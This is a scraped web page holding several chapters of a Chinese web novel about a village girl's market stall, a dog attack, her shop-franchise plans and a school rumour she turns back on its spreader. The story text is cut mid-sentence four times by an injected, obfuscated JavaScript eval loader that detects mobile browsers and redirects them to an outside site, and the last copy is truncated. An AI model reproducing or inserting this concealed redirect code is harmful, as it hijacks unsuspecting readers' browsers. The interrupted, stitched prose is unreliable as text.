常屯集上，徐春天的摊又出名了。别人都是老老实实摆摊，就她活动多，寒假搞了个抽奖，暑假又搞免费送雪糕！ 同行表示：熬过这个暑假就好了。 还有就是她家的选品真不错。夏季遮阳帽便宜好看实用，万能充这玩意，需要的人比想象中多。 大学生们表示：大集上卖的可比学校便宜，关键还真是正规牌子！买到就是赚了！ 最后就是徐春天一战成名，她是真彪啊！骂的了人，打的出手。事后许多人也琢磨出来了，那个高兰大概是被算计了。徐春天就是故意要打人。不过徐春天的确无辜，流言说的也真难听。 高兰表示：姓徐的就是故意的，其他人都拉偏架，还有好几个人拽我踹我！ 不管过程如何，集上再也没人传瞎话了。散集时，已经是下午一点多了。太阳正热的时候，徐春天决定太阳晒的大地都快燃烧了，幸亏她自己买遮阳帽，不然搞不好皮肤会晒伤。 徐春河他们早一步回去，徐春天收摊后带着周晶晶和徐春雨往家走。 出了常屯，走到去高家的路上，徐春天叹了口气，“你俩坐稳了！春雨，把车厢里的钢管递给我！” “咋了？” 周晶晶探出头一看，忍不住骂了一声，“握草！” 36. 棒打狼狗 这就是一条连通高家与常屯两个村的乡间土路，路宽也就三米，道路两旁是水沟，再就是庄稼地。路两旁好大的杨树，浓密的树荫投在路面面上。正值中午炎热的时候，地里没人，村里人也都在午睡，只有蝉鸣。 但在徐春天她们的前方，路中间端坐着三只大狼狗。半人高的大狼狗，皮毛油光锃亮，就那么坐在树荫下的路上。 俗话说好狗不挡道！这挡道的，必然不是什么好狗！ 徐春天把钢管放腿边，双手拧紧车把，猛的冲了过去！ 三只大狼狗灵活躲开随即汪汪叫嚣着就冲着车扑过来。跑着跳起来就咬，大白尖牙看着就锋利！ 夏天车头用的是透明帘遮挡，一只狼狗一口咬帘上，徐春天拿起钢管朝着狗头猛的敲了下去！ “滚开！” 面对狗这种生物，它凶你就要比它更凶，最好手里有点工具。狗仗人势，这句话也是真的。 徐春天下手狠，打的那只狗嗷一声松开口。她也很凶，骑的够快！也就一两分钟，就冲出了三只狗的追捕！ 车子快速开进村，徐春天放慢速度回头，就看那三只狗跑到路边不见了。 她记得，那是高家那个小子上次出现的地方！ 放狗咬她第一次，竟然还敢放狗咬她第二次！！！！ 再加上从李艳那边打探出来的，高兰回娘家听说了些徐春天的流言，还说是徐徐村的女婿，听丈母娘说的。 徐春天隐约对上了！ 高家那个家伙不仅身体残疾，心里也多少有毛病，他是真的心理变态！大概是因为小羽的事，这家伙记恨上了徐春天。 小羽现在也跟着她娘在徐春天家里干过灵活，每个月挣不少钱，在农村养活自己不成问题。 三个人进入大徐村才彻底放松下来。周晶晶心有余悸，“妈呀，那三只狗太可怕了。” “以前也没遇到过啊？” 徐春雨觉得那些狗看起来可不是野狗。“姐，肯定是有人故意放狗咬咱们。会不会集上打架的那个？” 徐春天摇摇头。 “不好说。回去让春河和他同学们打听下，高家谁养了三条大狼狗。” 徐春河的同学们一听，当即就叫了起来。“春天姐，我知道那三只狗是谁家的！” “就那个高家村头上，坐轮椅的，他家还养鸡。” “那家伙从小就会装，心眼可多了，还坏！我小时候就见过他，偷偷打小猫。后来还诬陷是我们打的。” 徐春河的同学胖乎乎的，平时特别爱笑，不过现在他气的眼睛都放光。 “那家伙就是纯坏！” 徐春天这次是真的生气了。可狗子听从主人的吩咐，即便是她打了狗一顿，背后的主谋也没有受到任何处罚。高家这个坏蛋可不是莽撞的高兰，阴险的人，往往不适合正面对抗。 她安慰自己，有些人有些事可以快刀斩乱麻，重拳出击。但有些，就必须徐徐图之。 暑假大集上每日都很热闹。徐春天在每个集市上，都有挑选好的合作小商店。她提前从小商店里订购雪糕，按照批发价订购，然后五毛一根卖出去。 商店老板很是乐意。几乎所有进店换雪糕的人，赶集都是拖家带口，一家带几个孩子，所以免费换两支雪糕不够分的，人们往往会再多买几只。 而且已经进超市了，大家也会有一种来都来了的想法，在超市里顺便逛逛的。无形之中，增加了超市里的客流量，带动其他产品卖出去。 这种形式，绝对是三赢局面。 而徐春天想出这个点子的初衷，只是因为她没有冰柜。 和超市合作的挺愉快，这让徐春天打开了思路。其实，赶集虽然卖的挺多，挣钱也不少，可暑假过后，对于她而言，让谁赶集的确是个难题。 大集上人流多，生意好，已经积累了大量回头客，她不想舍弃。可回到现实中，她马上去上学，精力肯定要转移到学业上。 如今异地校园代理业务量也有所上升，家中小作坊生产任务重，根本离不开周晶晶。再让她去赶集，的确是分身乏术。而且，周晶晶性格直爽，脾气有点易燃易爆，碰到磨叽的顾客，她耐心不足，说话难免有点冲。熟悉的人习惯了她说话的语气，也知道她纯粹就是说话直接。可顾客不理解，李艳就说小周好几次差点和人家吵起来。 简言之，周晶晶不太适合赶集卖货。 家里除了周晶晶，就是学生和老人，徐大龙和孙兰清更是不可能去赶集。所以，徐春天必须早做打算。 是直接放弃赶集卖货，还是重新找人？ 周晶晶也有点好奇。当然，她也深刻反思了自己。“春天啊，要不咱重新找个人？” 她苦笑了下，“之前我去赶集，真的是赶鸭子上架。我看你赶集轻轻松松，等自己去了，才发现难，太难了。啥样的人都有，磨磨唧唧的，听不懂话的，故意找茬的（她以为的），我是真不行。” “放弃太可惜了，就我这样的，每集都能卖不少，全都是老顾客，咱要是不去，太可惜了。” 徐春天点点头。 “找人不好找，赶集是个辛苦活，起早贪黑风雨无阻，还得是能信的过。而且人家有点能力了，肯定更愿意自己干。” 周晶晶皱眉，“你说的也对。可这也不行，那也不行，到底咋办好呢？” 在家里想是没有答案的，傍晚时分天气也很热。吃过晚饭后，温度才开始降下去。孙兰清就和周围邻居婶子大娘们相约，一起去村里遛弯。 路灯亮着，夜风徐徐，大家伙边走边看聊天，一般绕着村子走个两三圈。既能乘凉，还能拉呱，又顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943607|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便锻炼身体，可比窝在家里看电视有趣多了。 徐春天站在十字路口，旁边有个变压器，周围自然形成一片空地，村里的小孩喜欢在这里玩。徐春雨和她的朋友们从村东头跑过来，手里买了几支棒棒冰。 “姐，给你吃。小卖铺里没有酸奶的了。哎，听玲玲说她爸不想干了，打算出门打工。” 徐春天心念一动，脱口而出： “春雨，你说如果咱家开个小卖铺怎么样？ “可别！老姐，咱村这么大，一个小卖铺都半死不活的，咱开，可不赔钱嘛？” 徐春雨可不想家里赔钱。她知道姐姐挣钱不容易，爸妈每天忙碌，还顾着地里的活。虽然家里有点钱了，但等姐姐上学，就没人去赶集了。 虽然徐春雨不同意，徐春天却越想越觉得不错。她家还有个宅子，就在十字路口北面，紧靠着路边。这个房子是爸妈给徐春河盖的。宅基地不盖上房子，心里总总归不踏实。 不过家里钱不够，房屋盖起来，外面看挺好，其实里面也没有装修。现在徐春天住老屋，爸妈和爷爷奶奶虽然是分开住，实际上就是一个宅院从中间砌了堵墙，墙上还开了门。 如今两间东屋都用来做工作室，白天家里虽然热闹，但也挺吵闹。而且东屋还是太小了。 如果，她把路边这个房子装修下，沿街开个门，做小卖铺。除了日常生活用品，油盐酱醋等，她还可以专门卖袜子头饰，这就相当于自营店。 里面正房可以做工作室，生产，原材料和成品分开。六间正房足够大，还可以整出一间会议室兼休息室以及一个一家人住的卧室。 “可是，春天，咱们村也没有集，就咱们村的人来买东西，能买多少呢” 周晶晶听了徐春天的设想，觉得不太行。 “大家肯定是愿意赶集顺便把东西买了，谁会为了买几双袜子，几个头绳专门跑一趟？” 这话虽然直接，可不无道理！ 徐春天点头。 “晶晶姐说的对。”她补充了下，“或许，我可以找张叔李姐她们谈谈，愿不愿意做个加盟？” “加盟？”周晶晶讶异，“啥意思？” “就是让他们在店里腾出一个空间，卖我们的袜子头饰等，我们提供货，她们负责帮我们卖。” 徐春天越说越顺利：“这样我们就不用自己去赶集，也不用请人赶集。咱们的老顾客赶集，可以直接去小卖铺里 买。你觉得咋样？” 旁边不知何时凑过来的徐春天和徐春河，抢先发表自己的意见。 “姐，我觉得挺好！” “姐，我也觉得行。”徐春河说完，话锋一转，“可是人家为什么帮我们卖呢？” 徐春天笑了，“只要我们能让他们能挣到钱，你说他们会不会卖？” 37. 创新自营 对于徐春天的提议，徐大龙第一个响应。 为了占好那块宅基地，房子是他借钱盖起来的。就为了盖房，家里欠了债。其实，徐大龙是最不愿意欠人家钱。可当时听说，宅基地不盖上房子，以后就不让盖了。 如今徐春天想改造利用这个房子，徐大龙终于决定房子没有白盖。他自己找了几个人，当即就去房子里粉刷，安装门装。 他打算到时候自己和媳妇搬到新宅子里，夜里看家。新宅子的装修和改造完全由徐大龙负责，徐春天和周晶晶依旧赶集，忙时两个人一起看摊。闲下来徐春天就趁机去找集上合作的小商店老板谈合作。 最大的问题，肯定是钱。说是加盟合作，具体怎么个合作法呢？ 徐春天给出了两个选择：“第一种就是她只负责供货，具体怎么卖全由对方负责。第二种就是她租用对方商店的一个角落，对方帮她卖，卖出多少算提成。” 不用说，大家更愿意把主动权掌握在自己手里。 “要是卖的不好……” 徐春天一双好看的双眼里满是自信，“从无到有，再到我找您谈合作，最大的底气就是这些货！” 徐春天的创意自营开展的很顺利。四个集上，她都谈好了合作。徐春天特意跟顾客宣传，等开学后，她就要返校。 听到她返校，许多人还有点不舍，不过更多的是替她高兴。听到以后所有的新品都会在集上超市出售，大家心里的担忧也没了。 暑假几乎转眼间就结束了。 九月初，徐春天再次踏入校园。她直接跟着原来的班级。 刚开学，她们就迎来了文理分班。都说学会数理化走遍天下都不怕。县一中的传统就是重理轻文。徐春天所在的班级，五十多名学生就只有不到十人选了文科，搬去了楼下文科班。剩下的人就简单调了下位置，组成了第十一班。 徐春天有了个新同桌，名叫高姗，是一个有点圆润爱笑的女孩。她个子高，座位相对靠后。 回到学校，最开始大家还挺新鲜，对徐春天更多的是好奇。不过分班后又经历了一次考试，惨淡的成绩让众人跳跃的心都安稳了下来。 徐春天快速适应了回校的生活。班级里她有熟悉的朋友，像谭玉、程颜、陈一帆和李亦航。她没有选择住校，而是在李亦航家隔壁租了个房子。一个挺板正的带院平房，面积比隔壁李亦航小了点。 房东情况和李亦航外公差不多。老人去外地帮忙代办孙子辈，房子空着也可惜，就自家人住的房间锁起来。租出去了两间正房，一个客厅一个卧室。院子里的东屋也可以用，西屋锁了起来。房东过年还会回来住几天。 看到这个小院后，谭玉和程颜也搬出来与徐春天合租。三个人一起分担房租，下晚自习一块回来路上也安全。 卧室有个很大的炕，三个人睡也不挤。还有张桌子，三个人收拾出来当做书桌，晚上学习用。 徐春天托李亦航买的电脑，放在了客厅。这样晚上徐春天熬夜看网店的时候，也不会影响谭玉和程颜。 李亦航家有网线，他直接给徐春天扯了根线，徐春天和他平摊网费。毕竟是租的房子，安装网线开户什么的也麻烦。 校园的生活紧张也愉快。徐春天全身心的投入到知识的海洋里。下了晚自习她还要忙着管理下网店。其实网店生意还行，就是麻烦了点。刚开始订单少，她需要自己手填面单，然后趁中午休息时间把东西邮寄出去。零零碎碎基本上每周都有订单，虽然收益不多，徐春天却觉得挺新奇。 她的网店除了卖自家的头饰，还会卖些批发市场上的新鲜东西。她都会先拍照上传，有人询问下单，她再去市场上拿货。看似倒手有点麻烦，实际上她从中间挣不少。比如有一种暖炉。成本价不过是几十块，大商场里就卖二三百，徐春天只卖一百多。 积少成多，一个学期下来，徐春天网店的盈利比赶集不差。这让徐春天欣喜的同时，对未来更加自信。 她每天不是学习就是开店，还要抽空设计新款，周末回村查看工作室的生产和合作商店的经营情况。异地校园代理这块她还要定期了解，忙的恨不得一个人当两个人用。 以至于临近期末考试，她才猛然发现自己同桌似乎有点不对劲。高姗长得白白净净，是个温柔爱笑的女孩。可这天徐春天发觉，高姗不怎么笑了。有时候晚自习也不来，或者来了就趴在桌子上。 回去的路上，她忍不住问谭玉和程颜，“你们觉不觉得，高姗有点奇怪啊？” 听到这话，立马谭玉停下脚步，惊讶的看着徐春天：“怎么春天，你不知道啊？” 徐春天一头雾水，“知道什么啊？” 程颜瞅了瞅谭玉，又看了下徐春天，“你真不知道啊，我还以为，你知道不说呢。” “我们回去说。” 路上都是着急回家的走读生，的确不是个说话的地方。等三人回到家，徐春天就迫不及待的问：“我前一阵太忙了。今天才发现，高姗好像变了。我记得她以前挺爱笑的，今天看着她很不开心，人也不精神。我问她她就说没啥。” 谭玉摇摇头，一脸神秘兮兮，“咱们班前一阵转来一个同学，你知道吧？” 徐春天点点头，“我知道啊。一个男生，叫啥我有点没记住。” “咋了，难道高姗的事，和他有关？” 程颜接话：“就是他。大家都在传高姗暗恋他。” “什么？” 徐春天感觉自己都破音了。 “暗恋他！这不胡扯吗？谁暗恋搞得大家都知道啊？” 她可不觉得，高姗像是个会搞暗恋的人，硬要说，反而是像失恋的吧。 “高中有什么好谈的啊！那个人长得咋样？” 徐春天实在是不记得转学生的模样。 谭玉笑了下，“我觉得一般吧。有点白，个子不算高，还有点胖。说实话，还不如陈一帆帅呢。最起码陈一帆个子高，五官长得也还行。” “他人怎么样？” “一般吧。大家也跟他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948170|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太熟，再说他挺内向的，不怎么说话。反正，我不觉得他哪里值得人暗恋，主要是他才转来没多久。是吧，程颜？” 程颜叹了口气，“我也觉得不像是高姗暗恋他。这话也不知道从哪里传出来的。” 流言蜚语害死人，特别是这种话，对于十七八岁的少女伤害挺大。徐春天可太清楚了。 看高姗那个状态，徐春天怀疑她已经深受流言的困扰。而且，她心里隐约怀疑，这个流暗恋的流言，很有可能是流言里的当事人自己传的。 第二天徐春天特意观察了下那个名叫刘威的转学生。只能说相貌清秀，皮肤白了点，要说多么帅，那没有。充其量就是一个普普通通的男同学而已。 高姗依旧蔫蔫的，徐春天小声问她：“你中午吃食堂？” 高姗是走读生，不过她家里中午没人。所以她中午一般是食堂，偶尔也会出去买饭吃。她点了点头，“食堂。” “要不去我那吃吧？你知道的，我和谭玉程颜租房住，你还没去过吧？中午有时间就自己做饭。今早晨出门前，我特意做了排骨土豆焖饭，中午回去就能吃。” 见高姗犹豫，徐春天拉住她的手，“去吧去吧，咱俩同桌这么久，我一直忙，有事多亏你平时提醒我呢。” 徐春天会上课的时候偷偷画画，好几次差点被老师看到，多亏高姗提醒她。 “去吧去吧，谭玉程颜也知道的。” 高姗就看到前排的谭玉和程颜回头冲她笑。 “那好吧。” 排骨土豆焖米饭，还是徐春天受李亦航的启发做的。她们四个人中午回去，饭也熟了，排骨软烂入味，土豆块糯糯的，一夹就碎。 “好香啊，肯定好吃。” 四个人把饭吃的干干净净，程颜和谭玉去刷锅，徐春天和高姗坐在客厅沙发上晒太阳。 徐春天趁机问高姗，“我看你最近似乎遇到了事，每天郁郁寡欢的。你要是愿意，就说出来，或许我能帮你。” “大家都是同学，我之前太忙了都没发现你不太开心。” 见徐春天这样说，高姗练练摆手，“没没，也不怪你。” “你真的没听说吗？” 徐春天看着她，年轻的女孩脸上有着说不出的窘迫，还有恼怒和难为情。 她认真的回答：“流言吗？我不信！” “去年，关于我的流言，不也是满天飞嘛！那些流言说的有鼻子有眼，就和亲眼见过的一样。可你觉得，那些流言有一句话对吗？” 高姗没这才想到徐春天也曾经是话题人物，那些传言说的更难听，现在还有些人信呢。 “没见到你之前，我就不信。见到你后，我更加不信了。” 徐春天心里真的只有学习和挣钱！高姗虽然和她同桌，但很多时候，一天也说不上几句话。 “那么，关于你暗恋刘威的话，我也一点都不信！” 徐春天表情郑重，“但我想知道，你会怎么说？” 谭玉和程颜 38. 他真有病 高姗哭了！ 听到徐春天的话，她眼眶迅速红了起来，“我……”刚一开口，眼泪就掉了下来。 硕大的泪珠，一颗接一颗，如同断了线的珠子。徐春天在一旁默默的递上纸。 “哎。” 她实在不会安慰人。 等了一会儿。谭玉和程颜也默默坐在沙发上。高姗也不好意思哭下去了。 大概是情绪宣泄出来了，擦擦眼泪，抿了下嘴唇。 “我真没有暗恋他！” “那些话我都不知道从哪里传出来的。我都没怎么和他说过话。” 高姗自己说着都觉得困惑，她和那个刘威是真不熟。 “不只是你，咱班没几个人和他熟吧。” 谭玉认同高的话。大家上课下课，也没太多时间闲聊。就中午吃饭休息有点空。高姗没出去，吃完饭就会教室里。而刘威和其他班男生在外租房。晚自习前大家但是有更长的时间，不过这段时间正好有电视看。 徐春天她们教室里有电视，下午下课后，吃完饭回到教室，本地台正好放歌。歌曲MV都是含有故事的，就跟看电影一样。 这算是大家难得的休闲时光，同学们都看的津津有味。歌曲节目结束后，就是播放动画片。最近正在播放《少年黄飞鸿》，徐春天特别爱看。 动画片还没等播完，就晚上晚自习了。所以大家伙吃饭，看电视看动画片，除了前后位的同学有点交流，坐的远的也没话说啊。 高姗和徐春天坐在后排，刘威的位置靠前，在教室的中间位置。 所以，有这个传言最初，大家都不相信，也没人理会。但传言越说越详细，有些人就信了。 就连高姗自己，都陷入了自我困扰，但她可以确定，自己真的没有暗恋刘威，对方根本就不是她喜欢的类型。 “我还对着那些话，还反思了下自己。” 高姗终于找到了倾吐对象，“他说我进教室第一眼看他，给他造成困扰。” “我根本没看他，他就坐在中间位置，我就和大家一样进教室。” “他说我总是上课偷瞄他，这我真没有。” …… 她一口气说了许多，都是些流言里的小细节。最初也正是因为太过于细节，许多人半信半疑。 高姗说到最后，叹了口气：“我真没有暗恋他，可那些说辞，我也没有证据。教室里也没有监控，为了避嫌，我都尽量躲着他，甚至和其他男生都不说话了。可男生那边还有传言。” 徐春天决定这事吧，说好解决也好解决。流言止于智者，要么找到流言的源头，要么直接无视，时间久了也就没人在意。 “其他人我不知道，但我们三个，都不信那些话。” 徐春天说完，谭玉和程颜也纷纷表态。高姗心里挺感动的。 “不过，这事不能让它这么过去。”徐春天看了下其他三个人，“这种没有根据的话，轻飘飘的最伤人了。” “哎，传瞎话的人就是缺德。” “其实，咱班真有几个，有点意思。” 谭玉比较八卦。不过班里的确有几个人很明显。但并没有这种流言传出来，反而让谭玉觉得有点好嗑，偷偷的。 高姗幽幽的说，“但我，真的不喜欢他。这种流言只让我觉得恶心，有时候我看到别人凑在一起说话，都怀疑他们蛐蛐我。” “既然是从男生那边传出来的，我找人帮忙探探情况。”徐春天提议，“再就是女生们来找谭玉和程颜买东西时，你们也问问，女生这边都怎么个态度。” 程颜和谭玉点头。“没问题。说真的，我真的很想知道，是谁这么无聊！” “我也是。” 几个人就这么愉快的决定了。情绪宣泄后，高姗心情好了许多。下午上课也有精神，晚自习前，她还和徐春天站在教室前走廊上吹晚风看落日。 没想到第二天周五，流言内容增加了。有人说看到高姗和刘威在阳台上眉来眼去。 “乱七八糟！昨天分明是我和高姗，那个刘威的确也在，可我俩去了之后，他就走了。” 徐春天这次是真的生气了。“我很确定，高姗跟刘威一句话也没说。” 谭玉：“是啊，传言是眉来眼去！” 程颜：“说真的，我有点同情她俩。谁这么无聊啊！” “就是。我听说，那个刘威最近成绩下滑，班主任都找他了。” 刘威转学前听说学习不错，原来学校也挺好。但转学后几次测试，他成绩一次比一次差。 “这种捕风捉影的事，让她俩咋澄清，我看着俩人都挺避嫌的。” “造谣的人是真坏。是不是她俩得罪啥人了？” 徐春天摇头，“我不知道，但你俩千万不要再说她俩了，我觉得高姗是真的无辜，可那个刘威，他的表现很奇怪！” 她今天特意观察了下刘威。他的目光总是会不经意的看向高姗和自己这边，有好几次，徐春天和他眼神对上。刘威的眼神里，没有恐慌，也没有不好意思。他只是若无其事的把目光转移开！ “今天晚自习后，咱们找一下陈一帆和李亦航。” 徐春天在这方面很注意。虽然她们和陈一帆李亦航是邻居，且有合作关系。但大家在班里，没什么事也不怎么闲聊。 晚自习后，教室里还不会立刻熄灯，大约亮灯到九点半。这个时候，住宿的同学就不着急走，打开电视看一会。现在有个小台播放《倩女幽魂》，剧情新奇好看，徐春天也会看。她挺喜欢剧里的妆造。 不过周五晚上不播。晚自习后徐春天她们特意在路上等着陈一帆和李亦航。 听到她们的来意，陈一帆觉得有点不能理解，“这种话就是说着玩。男生嘛，肯定爱吹，还真往心里去啊。” 其实这种话题男生之间也会聊，就是随便说说。 李亦航说：“男生嘛，你们也知道，都对自己挺满意的。有些话就是自己私下里随便说说。” 原来，他们根本不在意。 “那刘威一点也不困扰？” “切，他困扰什么啊？我看他美的很！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952274|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈一帆人缘好也比较活跃。“我认识他舍友。这话就是刘威自己说的。” “他自己和舍友说，高姗是不是暗恋他啊，总是偷偷看他，影响他上课。他觉得高姗很漂亮，长得白，也可爱。但不是他喜欢的类型。而且，他们现在是学生，不能谈恋爱。” 陈一帆说着忍不住骂：“呸！你听听这话说的，他还困扰，我看他心里美的很！” 李亦航补充：“不过他的成绩的确下降的有点厉害。” “哎呀，他晚上偷偷看小说。周末就去网吧里玩游戏。” 徐春天看着陈一帆，“所以，这些话都是他和舍友说的？” 陈一帆看她表情有点严肃，缩了缩脖子，“那个，反正他感到困扰嘛，就和舍友吐槽。” “我听说老师也找他了，” “啥啊，”陈一帆立马变了脸，“是他自己找的老师。” “他跟老班说高暗恋他，让他很困扰。我觉得他就是有病！” 李亦航插话，“靠！咋没听你说呢。” “他个男的，有啥好说的啊。”陈一帆感觉住嘴，他有点心虚。他们晚上也聊天，即便是讨论同学们，也多是女同学。当然，这话不能跟徐春天她们说啊。 “刘威真有病啊！我还以为他也和高姗一样呢。”谭玉有点生气，甚至越想越生气。 “他咋这么恶心啊！” 程颜也气氛，“就是！真自恋！高姗暗恋他，进教室看他，没事偷瞄他！这些都是他自己感觉，就随便说出来。” “我就说嘛，昨晚是我和高姗在阳台上看落日，哪有他什么事！” 可是，就算知道是他说的，又能怎样？ 他只是和舍友吐槽自己的困扰，说到底，从男生们的角度，就是他太自恋了，觉得高姗暗恋他。 他也困扰啊，学习成绩下降了！ 然而，高姗很无辜了，她明明什么也没干，偏偏流言蜚语缠身。 徐春天沉思，如果流言里的人不是高姗，而是她，她会怎么做呢？ 她肯定会在流言之初，就把这事说清楚。直接跟另一个当事人进行沟通，然后双方一起，挑一个早自习或晚自习，在班上说明情况，澄清留言。 但是，现在流言问题已经到了让人困扰，甚至会有一种越澄清越刻意的状态。而且，高姗并不是徐春天这样的性格，让她此刻站出来，或许她更加有压力。而刘威，徐春天决定他一定不会配合。他或许坏，但一定不傻。 人，不能陷入自证的困境。高姗无论如何解释，都是在自证她是否暗恋。但这种捕风捉影的事，大家都是无聊时才八卦，平时事不关己，才不会放心上。就像陈一帆说的，就是晚上没事说着玩，吹牛呗。 可女生不同。女生心思敏感，特别是她们正值高中，学习有压力，又多了这种困扰，很容易想不开，自己就郁闷了。 徐春天无比讨厌这种流言。 所以，她必须想个办法，彻底消灭流言，或者说，彻底消灭这种捕风捉影的事，杜绝以后这类事情的发生。 39. 还之彼身 寇可往我亦可往。 徐并不是很爱管闲事。可刘威这个人吧，实在是有大病。 所以这次，徐春天决定开大招。 周一，往常都是高姗一个人进教室，今日身边多了好几个女生。大家从走廊里一起嘻嘻哈哈进了教室。然后围在徐春天和高姗的座位旁，嘁嘁喳喳的说话。直到早自习开始，谭玉程颜她们才回到自己座位上。 这点微妙的变化，其他同学还没有察觉，就徐春天和高姗的前后位觉得有点不对劲。比如高学童，他和陈一帆性格差不多，心里也装不住话。 “徐春天，你们说啥呢？” 之所以不问高姗，其实是受了那些话的影响。徐春天就不同了，她平时眼里只有学习。 徐春天眼神看向刘威的方向又飘回来。“你还是别问了。” 高学童还没着急，他同桌宋浩然忍不住，“哎呀，有啥不能问的？快说快说。” 徐春天小声说了几句，俩人先是震惊，随后瞅了眼刘威，嘴里念叨着：“真的假的啊？” “你们自己看看不就知道了。” 徐春天说完这句话，就拿起书开始背诵，早自习可不能浪费。 几乎一下课，就有女生到徐春天和高姗这里来说话，有时候高姗在，有时候她不在。大家有说有笑，一天下来，几乎全班人都注意到了。 人嘛，都有好奇心，所以许多人会不自觉的看向她们这个方向，心里好奇她们讨论的话题。 有人直接问谭玉，谭玉就说：“没说啥啊。” 等到了周二，班里小范围内又传播起了新话题。不在是只有徐春天她们那围着人，而是好几个女生一起，这几个，那几个，大家或是关系好或是前后位，下课就小声说说笑笑，上课就眼神交流。 惹得其他人，特别是男生更加好奇。最后终于有人打入了小范围，听完露出一幅恍然大悟的样子。 刘威是最早发现班级人们变化的，起初他只发现高姗似乎开朗了很多，又和以前那样动不动就笑，很傻很天真。人缘也好了，进进出出都和好几个女生一块，几乎没有落单的时候。最关键的是，他发现每当自己眼神飘过去的时候，周围似乎有好几个目光注视他。 其他人下课小声讨论，他一走过去，别人就换话题。刘威直觉，她们肯定都在讨论自己。他很想知道说的什么，但他转学过来，人缘本来一般。女生不熟，熟悉的男生似乎没啥感觉。 “她们说啥？女生不一直这样吗？”刘威心里着急，就跟猫爪似的。 随后这种情况越演越烈，刘威发现高姗活跃了，甚至有一次和他对视，笑得意味深长。 玛德！ 刘威心里烦死了。 直到周末返校，他刚回到宿舍，就见舍友们在一块说话，他一进门大家就不说了。刘威装作若无其事的样子，“你们说啥呢？” 一个舍友看着他，笑得贱兮兮的，“刘威，我说你太不厚道了。” “我咋了？”刘威心里一顿。 “你咋了？我可是听说了，分明是你喜欢人家高姗，对不对？人家不愿意，你就说她暗恋你？啧啧啧” “你这样不行啊！” 刘威一下子红温了，“我喜欢她？你听谁说的？” 另一个舍友吐槽：“你们班的人呗！” “说真的，你之前还说人家暗恋你，没想到是这样。” “就是啊，兄弟，不行你就换个，天涯何处无芳草，下一个更好。” 其实舍友好几个看他不顺眼，天天说人家一个女生暗恋他，他还一幅委委屈屈的样子，指不定心里多么得瑟呢！ 刘威之前心里还真有点得瑟，可现在，他有点急了。 “我真不喜欢她！她们怎么能乱说呢？” “你不喜欢人家，我可都听你们人说了。你进教室第一眼就看人家。好多同学都看到了。” “还有你上课总是偷偷看人家。坐在附近的同学都和你对视了好几回，是不是？” “我也听说了，人家去走廊里，你就也跟着去。” “我就说嘛，他总说人家女生偷看她。你不看人家，你怎么知道人家看你？” “就是就是” …… 刘威这下真的体会到，事情的发展走向有点奇怪。他发现自己以前说的话，又都说回到自己身上，这种感觉，有点难受。 等周一他进了班里，就发现自己更难受了。他感觉别人似乎都看着他，似笑非笑的。大家小声讨论着什么，等他过去，又不说了，或是刻意换话题。 他觉得自己仿佛被蚂蚁咬，心里痒痒的难受。但人家又不守着他说，他想解释都找不到机会。 晚自习时，语文老师把他叫了出去。实际上语文老师是他姑，当初她能转到这个班，也是因为这层关系。 “小威，你们班主任找我，说你喜欢班里的女同学，成绩也下降了。” “你还小，这时候要以学习为主，可不是谈恋爱的时候。” “等你考上了大学，想怎么谈都行。” 刘威心里烦死了，“姑，我没有！我真没谈恋爱，我也不喜欢她。” 他姑可不惯着他，“你不喜欢她，上课偷偷看人家，我都看到了好几回了。” “我没看她！” “行，你没看她！回去吧，好好学习，上课认真点。” 刘威心里郁闷极了！他怎么说，他姑都不信他。 等他进了教室，原本嘁嘁喳喳的同学们一下就不说话了。 整个晚上他满脑子都是别人讨论他。下晚自习，他甚至听到旁边的同学讨论。 “那个谁，真奇葩啊，人家不搭理他，他就造谣人家暗恋他。” “就是！这叫啥来着，得不到就毁掉！” “哈哈，要我是那个女生，一巴掌拍他脸上，恶心玩意！” “就是……” 黑暗中，他站在路上，身边人川流而过，同学们的笑声，让他觉得刺耳。夜风微凉，他觉得自己入坠冰窖。 高姗和徐春天她们站在远处，看着他失魂落魄的样子，心里痛快极了。 此后的每一天，对于刘威来说都是煎熬，他觉得大家都在说他，就连去厕所，人们看他的眼神都有异样。 每当看到高姗笑起来的样子他就想起前一阵她满脸忧愁，那时候，她是不是也如现在这样呢？ 那时候，他只觉得心中惬喜。如今话题中的人换成了他自己，他才发觉难受。 然而，事情不会因为他难受而停止，他总觉得同学们都在议论他，笑话他。 漫长的一周终于过去，周六早上，刘威背着包走出租的房子，刚拐进巷子，就看到巷子口站着五六个人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 